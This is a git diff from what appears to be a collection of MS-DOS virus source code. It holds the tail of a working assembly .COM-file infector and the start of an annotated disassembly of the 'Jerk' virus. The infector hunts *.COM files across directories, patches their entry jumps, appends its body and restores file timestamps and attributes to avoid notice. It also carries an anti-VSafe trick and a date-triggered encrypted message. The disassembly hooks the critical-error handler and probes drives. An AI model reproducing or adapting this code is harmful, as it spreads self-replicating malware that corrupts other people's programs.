it +xchg bx,dx ;exchange bx,dx (restore original int 3h) +int 21h ;do it + + + ;anti_vsafe +mov ax,0f9f2h +add ax,10h +mov dx,5935h +add dx,10h +mov bl,10h +sub bl,10h +int 16h + + + + +mov byte ptr[bp+drive],0 +call get_cur_drive +cmp al,0 +jne go_on_5 +mov byte ptr[bp+drive],1 +mov dl,2h +call set_cur_drive + +go_on_5: + +mov dl,00h +lea si,[bp+offset cur_dir] +call get_cur_dir + +mov di,100h ;restore original 3 bytes of the host_prog. to 100h +lea si,[bp+original_three] ;from where (original_three) +mov cx,5 ;3 bytes +rep movsb ;copy 'em to 100h + +lea dx,[bp+offset new_dta] ;offset of new DTA +call set_new_dta ;set new DTA + +find_first_again: +lea dx,[bp+offset file] ;file_spec (*.COM) +mov cx,0007h ;all attributes +CALL find_first ;find_first +jc no_more_filez_in_dir + +jmp go_on ;jump to go_on + +find_next_2: ;find_next file + +CALL find_next ;and find_next +jnc go_on ;no more filez -> restore + +no_more_filez_in_dir: +lea dx,[bp+offset dot_dot] +call chdir +cmp al,3 +jne go_on_4 +call restore +go_on_4: +call find_first_again + +go_on: ;go to here after the first_file is found + +lea si,[bp+offset new_dta+15h] ;save(get) DTA information (begin with the attribs) +mov cx,9 ;9 bytes to copy +lea di,[bp+offset f_attr] ;file_attribs -> file_time -> file_date -> file_size +rep movsb ;save em (copy em) + +xor cx,cx +lea dx,[bp+offset new_dta+1eh] +call set_file_attributes + +cmp dword ptr[bp+file_size],200 +jnb size_ok_1 + +xor ch,ch +mov cl,byte ptr[bp+f_attr] +lea dx,[bp+offset new_dta+1eh] +call set_file_attributes +jmp find_next_2 + +size_ok_1: +cmp dword ptr[bp+file_size],60000 +jna size_ok_2 + +xor ch,ch +mov cl,byte ptr[bp+f_attr] +lea dx,[bp+offset new_dta+1eh] +call set_file_attributes + +jmp find_next_2 + +size_ok_2: +mov al,02h ;open file for read & write +lea dx,[bp+offset new_dta+1eh] ;file_name in DTA +CALL open ;open it + +mov bx,ax ;move file_handler in bx + +CALL infect ;now infect it!!! + +nop ;without this nop the infected prog will crash. i don't know why?!? + +mov dx,word ptr[bp+f_date] +mov cx,word ptr[bp+f_time] +call set_file_time_date + +call close + +xor ch,ch +mov cl,byte ptr[bp+f_attr] +lea dx,[bp+offset new_dta+1eh] +call set_file_attributes + +add word ptr[bp+counter],1 +cmp word ptr[bp+counter],3 +je restore + + +call find_next_2 + +restore: ;restore old DTA and run normal program + +call restore_old_dta ;restore DTA + +dir_loop: +lea dx,[bp+offset dot_dot] +call chdir +cmp al,3h +jne dir_loop + +lea dx,[bp+offset cur_dir] +call chdir + +cmp byte ptr[bp+drive],1 +jne go_on_6 +mov dl,00h +call set_cur_drive + +go_on_6: +call get_system_date + +cmp dh,4 +jne not_the_right_day +cmp al,0 +jne not_the_right_day + +lea si,[bp+offset message] +mov cx,offset message_ende-offset message +call crypt + +lea dx,[bp+offset message] +call write_string + +call wait_for_key + +not_the_right_day: + +mov di,100h ;jump to 100h. the original three bytes have already been restored. +jmp di ;jump too 100h + +;these are the rutines that can be 'called' +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;INFECTION RUTINE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +infect: ;to infect the file :-) +lea dx,[bp+original_three] ;save the first 3 bytes in original_three +mov cx,5 ;3 bytes +CALL read ;read em + +call already_infected ;already infected ??? +jne go_on_2 + +go_on_3: + +call close + +xor ch,ch +mov cl,byte ptr[bp+f_attr] +lea dx,[bp+offset new_dta+1eh] +call set_file_attributes + +call find_next_2 ;yes, find_next file + +go_on_2: + +cmp word ptr[bp+original_three],'MZ' +je go_on_3 +cmp word ptr[bp+original_three],'ZM' +je go_on_3 + +CALL seek_to_begin ;seek to beginning of the file + +CALL calculate_new_jump ;calculate the new jump(first 3 bytes) + +mov cx,5 ;write 3 bytes +lea dx,[bp+new_jump] ;from new calculated jump +CALL write ;write + +CALL seek_to_end ;go to end of file + +mov ax,word ptr[bp+counter] +push ax +mov word ptr[bp+counter],0000h +mov cx,ende_start_2-start_2 ;write virussize -3 bytes +lea dx,[bp+start_2] ;from label start_2 +CALL write ;write +pop ax +mov word ptr[bp+counter],ax + +ret ;and return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;READ RUTINE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +read: ;read bytes from file +mov ah,3fh ;function read +int 21h ;read +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;SEEK_TO_END;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +seek_to_end: ;seek to end of file +mov ax,4202h ;function seek to end +xor cx,cx +xor dx,dx +int 21h ;seek +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;SEEK_TO_BEGIN;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +seek_to_begin: ;seek to begin of file +mov ax,4200h ;function seek to begin +xor cx,cx +xor dx,dx +int 21h ;seek +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;CALCULATE_NEW_JUMP;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +calculate_new_jump: ;calculates the new jump +mov byte ptr[bp+new_jump],24h +mov byte ptr[bp+new_jump+1],21h +mov byte ptr[bp+new_jump+2],0e9h ;= jmp far +mov ax,word ptr[bp+file_size] ;2nd + 3rd byte = file_size... +sub ax,5 ;...-3 +mov word ptr[bp+new_jump+3],ax ;put these 3 bytes in new_jump +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;WRITE RUTINE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +write: ;write bytes to file +mov ah,40h ;function write +int 21h ;write +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;CLOSE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +close: ;close a file +mov ah,3eh ;function close +int 21h ;close +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;OPEN;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +open: ;open a file +mov ah,3dh ;function open +int 21h ;open +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;set_file_time_date;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +set_file_time_date: ;sets the files date & time +mov ax,5701h ;function set date & time +int 21h ;set date & time +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;find_first;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +find_first: ;find first file +mov ah,4eh ;function find_first +int 21h ;find_first +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;find_next;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +find_next: ;find_next file +mov ah,4fh ;function find_next +int 21h ;find_next +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;SET_NEW_DTA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +set_new_dta: ;sets the data transfer address (DTA) +mov ah,1ah ;function set DTA +int 21h ;set DTA +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;restore_old_dta;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +restore_old_dta: ;restores the old DTA +mov ah,1ah ;function set DTA +mov dx,80h ;where old DTA was located +int 21h ;set DTA +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;set_file_attributes;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +set_file_attributes: ;sets the file attributes +mov ax,4301h ;function set file attributes +int 21h ;set file attribs +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;already_infected;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +already_infected: ;checks if the file is already infected +mov ax,dword ptr[bp+file_size] ;mov ax,file_size +sub ax,(ende_start_2-start_2)+5 ;sub ax,virus_size +cmp word ptr[bp+offset original_three+3],ax ;if the first bytes are the same its already infected +ret ;return + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;crypt;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +crypt: +mov di,si +xor_loop: +lodsb +xor al,byte ptr[bp+crypt_val] +stosb +loop xor_loop +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;chdir;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +chdir: +mov ah,3bh +int 21h +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;get_cur_drive;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +get_cur_drive: +mov ah,19h +int 21h +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;set_cur_drive;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +set_cur_drive: +mov ah,0eh +int 21h +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;get_cur_dir;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +get_cur_dir: +mov ah,47h +int 21h +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;get_system_date;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +get_system_date: +mov ah,2ah +int 21h +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;write_string;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +write_string: +mov ah,9h +int 21h +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;wait_for_key;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +wait_for_key: +mov ah,00h +int 21h +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + +new_dta db 43 dup(?) ;new DTA (43 BYTES) +f_attr db ? ;file attributes +f_time dw ? ;file time +f_date dw ? ;file date +file_size dd ? ;file size +file db'*.COM',0 ;all com filez +original_three db 0cdh,20h,0,1,2 ;first three bytes of infected prog +new_jump db 5 dup(?) ;to calculate the new jump (3 bytes) +counter dw ? +crypt_val db 123 +message: +db 40, 14, 21, 41, 18, 8, 30, 91, 12, 9, 18, 15, 15, 30, 21, 91, 25, 2, 91, 40, 11, 20, 20, 16, 2, 85, 91, 58, 14, 8, 15, 9, 18, 26, 91, 74, 66, 66, 77, 85, 113, 118, 95 +message_ende: +dot_dot db '..',0 +cur_dir db 64 dup(?) +drive db ? +new_int_3: +jmp $ + +ende_start_2: ;END VIRUS diff --git a/MSDOS/Virus.MSDOS.Unknown.super.asm b/MSDOS/Virus.MSDOS.Unknown.super.asm new file mode 100644 index 00000000..c33b2548 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.super.asm @@ -0,0 +1,796 @@ + +PAGE 59,132 + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +;栩 栩 +;栩 JERK VIRUS 栩 +;栩 栩 +;栩 Disassembly by 栩 +;栩 栩 +;栩 DecimatoR / SKISM 栩 +;栩 NOTE: Although this code compiles with TASM 2.0, it may not function 栩 +;栩 in the same manner as the original virus. Test it further. 栩 +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +data_1e equ 446h ; (009D:0446=10h) +data_2e equ 2Ch ; (8344:002C=0) +data_3e equ 80h ; (8344:0080=0) +data_22e equ 55Ch ; (8344:055C=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +super proc far + +start: + call sub_1 ; (010A) + dec bp +;* jnz loc_3 ;*Jump if not zero + db 75h, 72h + jo loc_2 ; Jump if overflow=1 + jns $-6Eh ; Jump if not sign + +super endp + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_1 proc near + jmp short loc_1 ; (0115) + db 0CDh, 20h +data_7 dw 9090h, 9090h, 9090h + db 90h +loc_1: + cld ; Clear direction + pushf ; Push flags + call sub_2 ; (0132) + call sub_6 ; (01B1) + call sub_4 ; (0188) + call sub_28 ; (0491) + call sub_27 ; (041B) + call sub_5 ; (01A0) + popf ; Pop flags + pop bp + mov bp,100h + push bp + xor bp,bp ; Zero register + retn +sub_1 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_2 proc near + call sub_3 ; (017E) + mov ax,3524h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov di,offset ds:[4F4h] ; (8344:04F4=79h) + mov [bp+di],bx + mov [bp+di],es + push cs + pop es + mov ax,2524h + mov dx,offset int_24h_entry + add dx,bp + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov ax,3301h + xor dl,dl ; Zero register + int 21h ; DOS Services ah=function 33h + ; ctrl-break flag al=off/on + mov si,offset ds:[10Bh] ; (8344:010B=9) + add si,bp + mov cx,9 + mov di,offset ds:[100h] ; (8344:0100=0E8h) + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ah,1Ah + mov dx,offset data_21 ; (8344:053E=0) + add dx,bp + mov [bp+294h],dx + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + mov ah,19h +loc_2: + int 21h ; DOS Services ah=function 19h + ; get default drive al (0=a:) + mov [bp+4F8h],al + mov bx,0FFFFh + mov [bp+53Ch],bx + retn + +;烝烝 External Entry into Subroutine 烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 + +sub_3: + pop bp + push bp + sub bp,134h +sub_2 endp + + +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 +; +; External Entry Point +; +;栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 + +int_24h_entry proc far + retn +int_24h_entry endp + + db 32h,0C0h,0CFh + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_4 proc near + mov ah,1Ah + mov dx,data_3e ; (8344:0080=0) + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + call sub_7 ; (01DF) + mov ax,2524h + mov si,offset ds:[4F4h] ; (8344:04F4=79h) + lds dx,dword ptr [bp+si] ; Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + call sub_5 ; (01A0) + retn +sub_4 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_5 proc near + push cs + pop ds + push cs + pop es + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor cx,cx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + xor di,di ; Zero register + retn +sub_5 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_6 proc near + call sub_7 ; (01DF) + xor ah,ah ; Zero register + mov cx,ax + mov dh,al + +locloop_4: + or dl,dl ; Zero ? + jnz loc_5 ; Jump if not zero + mov dl,dh +loc_5: + call sub_8 ; (01E8) + dec dl + jnc loc_6 ; Jump if carry=0 + loop locloop_4 ; Loop if cx > 0 + + jmp short loc_ret_8 ; (01DE) +loc_6: + dec cx + jz loc_7 ; Jump if zero + call sub_9 ; (021F) + jnc loc_ret_8 ; Jump if carry=0 + call sub_7 ; (01DF) + call sub_8 ; (01E8) + jc loc_ret_8 ; Jump if carry Set +loc_7: + call sub_9 ; (021F) + +loc_ret_8: + retn +sub_6 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_7 proc near + mov ah,0Eh + mov dl,[bp+4F8h] + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + retn +sub_7 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE +;樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛樛 + +sub_8 proc near + push cx + push dx + mov ah,36h ; '6' + int 21h ; DOS Services ah=function 36h + ; get free space, drive dl,1=a: + cmp ax,0FFFFh + je loc_10 ; Jump if equal + mul cx ; dx:ax = reg * ax + mul bx ; dx:ax = reg * ax + cmp ax,800h + jae loc_9 ; Jump if above or = + or dx,dx ; Zero ? + jz loc_10 ; Jump if zero +loc_9: + pop dx + push dx + dec dl + mov ah,0Eh + int 21h ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + mov ah,5Bh ; '[' + xor cx,cx ; Zero register + mov dx,offset data_15+3 ; (8344:04FF=0) + add dx,bp + int 21h ; DOS Services ah=function 5Bh + ; create new file, name @ ds:dx + jc loc_11 ; Jump if carry Set + mov ah,41h ; 'A' + int 21h ; DOS Services ah=function 41h + ; delete file, name @ ds:dx + jmp short loc_11 ; (021C) +loc_10: + stc ; Set carry flag +loc_11: + pop dx + pop cx + retn +sub_8 endp + + +;烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝烝 +; SUBROUTINE 